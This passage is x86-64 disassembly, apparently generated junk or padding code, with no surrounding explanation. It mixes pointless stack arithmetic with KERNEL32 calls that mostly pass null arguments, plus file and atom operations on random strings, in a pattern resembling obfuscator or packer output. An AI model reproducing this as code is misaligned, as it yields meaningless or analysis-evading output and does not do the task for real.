mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.ivbPbM67Ib1iS0u
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe4d0], rax
movzx eax, word [0x1401c8af0]
mov word [rsp + 0x263c], ax
mov rax, qword [rsp + 0xcd20]
mov rcx, qword [rsp + 0xdf10]
mov qword [rsp + 0xe4d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe4d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9ae8], rax
mov r9d, 0x2500
xor r8d, r8d
lea rdx, [rsp + 0xcec8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6748], eax
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xe3e8]
mov rcx, qword [rsp + 0xab60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3e8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe4e0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xda40], rax
mov rax, qword [rsp + 0xb580]
mov rcx, qword [rsp + 0xc588]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xca40], rax
movzx ecx, word [rsp + 0x231c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x234c], ax
mov eax, dword [rsp + 0x6970]
mov ecx, dword [rsp + 0x5ca4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6914], eax
mov eax, dword [rsp + 0x5b5c]
mov dword [rsp + 0x69c0], eax
mov rax, qword [rsp + 0xdb00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x276], al
lea rax, [rsp + 0x3b2]
mov qword [rsp + 0xe4e8], rax
movsx eax, word [rsp + 0x1d94]
movsx ecx, word [rsp + 0x2434]
add eax, ecx
mov word [0x1401c8c68], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe4f0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d04]
shl eax, cl
mov word [rsp + 0x1fc8], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd460], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movzx ecx, word [rsp + 0x2214]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2640], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xda40], rax
mov rax, qword [rsp + 0xc6d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2178]
or eax, ecx
mov rcx, qword [rsp + 0xcbd0]
mov word [rcx], ax
mov rax, qword [0x1401c8d08]
movzx eax, word [rax]
mov word [rsp + 0x2644], ax
mov rax, qword [rsp + 0xd7b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3ac], al
mov eax, dword [0x1401c8e40]
mov ecx, dword [rsp + 0x5a54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5968], eax
movzx ecx, word [rsp + 0x1ff0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2140], ax
mov edx, 0x24
mov rcx, qword [rsp + 0xdc38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x69c4], eax
mov rax, qword [rsp + 0xd8b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe248]
shr rax, cl
mov qword [rsp + 0xc8e0], rax
movsx eax, word [rsp + 0x2548]
movsx ecx, word [rsp + 0xbdc]
sub eax, ecx
mov word [rsp + 0x2424], ax
movzx eax, word [rsp + 0x2310]
mov word [rsp + 0x2648], ax
mov rax, qword [rsp + 0xbf88]
imul rax, qword [rsp + 0xaeb8]
mov qword [0x1401c8cf0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rcx, [rsp + 0x20638]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd0d0]
mov rcx, qword [rsp + 0xe290]
mov qword [rsp + 0xe4f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe4f8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xdf70], rax
mov rax, qword [rsp + 0xd328]
mov rcx, qword [rsp + 0xe0e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb8a0], rax
lea rcx, [rsp + 0x204e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc608]
shl rax, cl
mov qword [rsp + 0xaf20], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x69c8], eax
lea rax, [rsp + 0x1eb0]
mov qword [rsp + 0xe500], rax
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdcc8]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xdcf8]
mov byte [rcx], al
mov eax, dword [rsp + 0x6144]
mov ecx, dword [rsp + 0x5a00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6708], eax
mov rax, qword [rsp + 0xc720]
movzx eax, byte [rax]
mov byte [rsp + 0x404], al
movzx ecx, word [rsp + 0x1f5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2518], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x687c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0xdaf8]
mov eax, dword [rax]
mov ecx, dword [0x1401c71d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a54], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x69cc], eax
mov rax, qword [rsp + 0xdaa0]
mov qword [0x1401c8e68], rax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd358]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1108], ax
movsx eax, word [rsp + 0x22e0]
mov rcx, qword [rsp + 0xdf60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2198], ax
movzx eax, word [rsp + 0x2064]
movzx ecx, word [rsp + 0xbb0]
add eax, ecx
mov rcx, qword [rsp + 0xd740]
mov word [rcx], ax
lea rax, [0x1401c8a78]
mov qword [rsp + 0xe508], rax
mov rax, qword [rsp + 0xad00]
mov rcx, qword [rsp + 0xe498]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa598], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rax, [rsp + 0x386]
mov qword [rsp + 0xe510], rax
mov rcx, qword [rsp + 0xc920]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd190]
mov ecx, dword [0x1401c8ab0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x691c], eax
mov rax, qword [rsp + 0xdd90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2508]
xor eax, ecx
mov rcx, qword [rsp + 0xd3e8]
mov word [rcx], ax
mov r9d, 0x56b
xor r8d, r8d
lea rdx, [rsp + 0xc890]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x653c], eax
lea rax, [rsp + 0x20a8]
mov qword [0x1401c8e70], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.MaHc7j2dFW8e
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe518], rax
mov rax, qword [rsp + 0x9668]
mov qword [rsp + 0xe520], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx eax, word [rsp + 0x24b4]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x21f8], ax
movzx eax, byte [rsp + 0x3d1]
mov byte [rsp + 0x405], al
mov rax, qword [rsp + 0xd8f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc6a8]
mov qword [rsp + 0xe528], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe528]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6690], eax
mov rcx, qword [rsp + 0xe1e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6468], eax
mov rax, qword [rsp + 0xe2c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x58ec]
shl eax, cl
mov rcx, qword [rsp + 0xd660]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcc98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3d2]
sub eax, ecx
mov byte [rsp + 0x4b], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6658], eax
mov rax, qword [rsp + 0xc590]
mov rcx, qword [rsp + 0xa4f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc3f0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe530], rax
lea rcx, [rsp + 0x202a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xdb20]
movzx eax, word [rax]
mov word [rsp + 0x264c], ax
mov rax, qword [rsp + 0xd530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2438]
or eax, ecx
mov word [0x1401c7070], ax
mov rax, qword [rsp + 0xd808]
movzx ecx, al
mov rax, qword [rsp + 0xd4c0]
shl rax, cl
mov rcx, qword [rsp + 0xc3a0]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0xc420]
movzx ecx, al
mov rax, qword [rsp + 0xab28]
sar rax, cl
mov qword [rsp + 0x9948], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6648], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc888]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1238], ax
lea rcx, str.uIJubdTl
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x251c], ax
movzx eax, word [rsp + 0x1718]
mov rcx, qword [rsp + 0xc858]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x202c], ax
lea rax, [rsp + 0xdad0]
mov qword [rsp + 0xe538], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [0x1401c8a40]
mov ecx, dword [rsp + 0x66e0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5be8], eax
movzx eax, byte [rsp + 0x3ca]
mov byte [rsp + 0x406], al
mov rax, qword [rsp + 0xaf58]
cqo
idiv qword [rsp + 0xdce0]
mov qword [rsp + 0xdb50], rax
movzx ecx, word [rsp + 0x2214]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f90], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe540], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
movsx eax, word [0x1401c8a10]
movsx ecx, word [rsp + 0x16ac]
xor eax, ecx
mov word [0x1401c8d14], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x69d0], eax
mov rax, qword [rsp + 0xdd00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e2c]
sar eax, cl
mov word [rsp + 0x1a24], ax
lea rax, [rsp + 0x6838]
mov qword [rsp + 0xe548], rax
movzx eax, byte [str.5qKr]
movzx ecx, byte [rsp + 0x11e]
or eax, ecx
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xdde0]
mov rax, qword [rax]
mov qword [rsp + 0xe550], rax
mov rax, qword [rsp + 0xd428]
mov rcx, qword [rsp + 0xde78]
mov qword [rsp + 0xe558], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe558]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc6c0], rax
mov rax, qword [rsp + 0xde38]
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6978], eax
mov rax, qword [rsp + 0xe510]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd090]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x245], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64e0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
movzx ecx, word [rsp + 0x2078]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24d4], ax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2100]
add eax, ecx
mov word [rsp + 0x2274], ax
movzx eax, word [rsp + 0x1f70]
mov rcx, qword [rsp + 0xd868]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c7228], ax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov qword [rsp + 0xe560], rax
movzx eax, word [rsp + 0x880]
movzx ecx, word [rsp + 0x1388]
shl eax, cl
mov word [rsp + 0x24b4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x69d4], eax
movsx eax, word [rsp + 0x20bc]
movsx ecx, word [rsp + 0x2024]
or eax, ecx
mov word [rsp + 0x1cf4], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
lea rax, [rsp + 0xc420]
mov qword [rsp + 0xe568], rax
mov rcx, qword [rsp + 0xd218]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xe010]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401c715c]
shr eax, cl
mov dword [rsp + 0x63c4], eax
mov rax, qword [rsp + 0xd8b8]
mov rcx, qword [rsp + 0xcb58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ce0], rax
lea rcx, str.qoLR2Y_d_OWp.IN2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2504], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xd3c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx ecx, word [rsp + 0x1f08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ffc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe570], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6430], eax
movsx eax, byte [rsp + 0x2b7]
mov rcx, qword [rsp + 0xc610]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x228], al
mov rax, qword [rsp + 0xd3b8]
movzx eax, word [rax]
mov word [rsp + 0x2650], ax
mov rax, qword [rsp + 0xd110]
mov qword [0x1401c8e78], rax
mov rax, qword [rsp + 0xcb48]
mov rcx, qword [rsp + 0xc6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6518], eax
movzx eax, byte [rsp + 0x37b]
movzx ecx, byte [rsp + 0x1d9]
cdq
idiv ecx
mov byte [rsp + 0x382], al
movzx ecx, word [rsp + 0x1ff0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23f0], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65fc], eax
lea rcx, str.VSP2ZMkU_C77G4mT_SDCcREZ65
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2654], ax
movzx ecx, word [rsp + 0x2094]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2094], ax
lea rax, [rsp + 0x2540]
mov qword [rsp + 0xe578], rax
mov rax, qword [rsp + 0xdcd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd998]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2400], ax
lea rax, [rsp + 0x6874]
mov qword [rsp + 0xe580], rax
mov r9d, 2
lea r8, [rsp + 0xd5a8]
mov rdx, qword [rsp + 0xe588]
mov rcx, qword [rsp + 0xc5c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6704], eax
movsx eax, byte [rsp + 0x37a]
movsx ecx, byte [rsp + 0x404]
or eax, ecx
mov rcx, qword [rsp + 0xca30]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd28]
mov qword [rsp + 0xe590], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe590]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xdd28], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe598], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd800], rax
mov r9d, 1
lea r8, [rsp + 0xd770]
mov rdx, qword [rsp + 0xdd40]
mov rcx, qword [rsp + 0xd280]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6904], eax
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
mov word [rsp + 0x2658], ax
mov rax, qword [rsp + 0xe310]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20fc]
shl eax, cl
mov rcx, qword [0x1401c8b90]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xcbc8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd188], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov r9d, 0x1b47
xor r8d, r8d
lea rdx, [rsp + 0xd9c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x69d8], eax
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xacf0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov edx, 0x25de
mov rcx, qword [rsp + 0xc7d8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6458], eax
mov rax, qword [rsp + 0xcf80]
mov rcx, qword [rsp + 0xa5c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe418], rax
mov rax, qword [0x1401c8b80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdab0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x24d0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rcx, str.Qs.6c8Kok
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x265c], ax
movzx eax, byte [rsp + 0x3af]
mov byte [rsp + 0x407], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movzx ecx, word [rsp + 0x2468]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2530], ax
mov rax, qword [0x1401c7190]
mov rcx, qword [rsp + 0xc210]
mov qword [rsp + 0xe5a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe5a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc780], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6538], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x663c]
mov rcx, qword [rsp + 0xde38]
mov qword [rsp + 0xe5a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe5a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5edc], eax
mov rax, qword [rsp + 0xe118]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe3c0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x37b], al
mov rax, qword [rsp + 0xd750]
mov eax, dword [rax]
mov dword [rsp + 0x69dc], eax
mov rax, qword [rsp + 0xd060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2130]
add eax, ecx
mov word [0x1401c722c], ax
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f38]
add eax, ecx
mov word [rsp + 0x2064], ax
mov rax, qword [0x1401c8da8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcbd0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x21a8], ax
mov rax, qword [rsp + 0xcda0]
mov rax, qword [rax]
mov qword [rsp + 0xe5b0], rax
movsx eax, byte [rsp + 0x2c5]
mov rcx, qword [rsp + 0xe110]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x375], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rcx, qword [rsp + 0xe328]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6550], eax
lea rax, [rsp + 0xc830]
mov qword [rsp + 0xe5b8], rax
mov rax, qword [rsp + 0xc520]
mov rcx, qword [rsp + 0xcc68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6554], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1104]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2318], ax
movzx eax, word [rsp + 0xddc]
movzx ecx, word [rsp + 0x2124]
sar eax, cl
mov word [rsp + 0x1800], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc080], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x653c], eax
mov rax, qword [rsp + 0xd818]
mov rcx, qword [rsp + 0xc700]
sub rcx, rax
mov rax, rcx
mov qword [0x1401c7160], rax
movzx eax, word [0x1401c71c0]
movzx ecx, word [rsp + 0x1f14]
sub eax, ecx
mov word [rsp + 0x2484], ax
mov rax, qword [rsp + 0xe4b8]
mov qword [rsp + 0xe5c0], rax
mov rax, qword [rsp + 0xdf10]
mov rcx, qword [rsp + 0xab38]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc1d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov ecx, dword [0x1401c8a18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x655c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x69e0], eax
movsx eax, byte [rsp + 0x43]
movsx ecx, byte [rsp + 0x28d]
sub eax, ecx
mov byte [rsp + 0x278], al
mov rax, qword [rsp + 0xd430]
mov ecx, dword [0x1401c8a1c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6770], eax
lea rcx, [rsp + 0x1d818]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
movzx eax, byte [rsp + 0x400]
mov byte [rsp + 0x408], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xdc90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd428]
shl rax, cl
mov qword [rsp + 0xd228], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6658], eax
lea rax, [rsp + 0x21ac]
mov qword [0x1401c8e80], rax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
sar eax, cl
mov word [rsp + 0x23b0], ax
movzx eax, word [rsp + 0x2574]
movzx ecx, word [rsp + 0x21e0]
xor eax, ecx
mov word [rsp + 0x169c], ax
mov rax, qword [0x1401c8df8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1180]
and eax, ecx
mov word [rsp + 0x2080], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe5c8], rax
movzx ecx, word [rsp + 0x2470]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x250c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd108], rax
movzx eax, byte [rsp + 0x90]
mov byte [rsp + 0x409], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe5d0], rax
mov rax, qword [rsp + 0xcb00]
mov rcx, qword [rsp + 0x9750]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe158], rax
mov rax, qword [0x1401c8d60]
mov eax, dword [rax]
mov dword [rsp + 0x69e4], eax
movsx eax, word [rsp + 0x1a28]
movsx ecx, word [rsp + 0x1de0]
or eax, ecx
mov rcx, qword [rsp + 0xc408]
mov word [rcx], ax
xor r9d, r9d
lea r8, [rsp + 0xd9a0]
mov rdx, qword [rsp + 0xe0a0]
mov rcx, qword [rsp + 0xe128]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64bc], eax
mov rax, qword [rsp + 0xd8d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd1b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa5c], ax
lea rcx, [rsp + 0x20938]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcf38]
shl rax, cl
mov qword [0x1401c7030], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rcx, qword [rsp + 0xc398]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x203c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f18], ax
mov rax, qword [rsp + 0xd2b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd9a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x97f8], rax
mov rax, qword [0x1401c8a90]
mov rax, qword [rax]
imul rax, qword [rsp + 0x9c98]
mov rcx, qword [rsp + 0xd1d8]
mov qword [rcx], rax
xor edx, edx
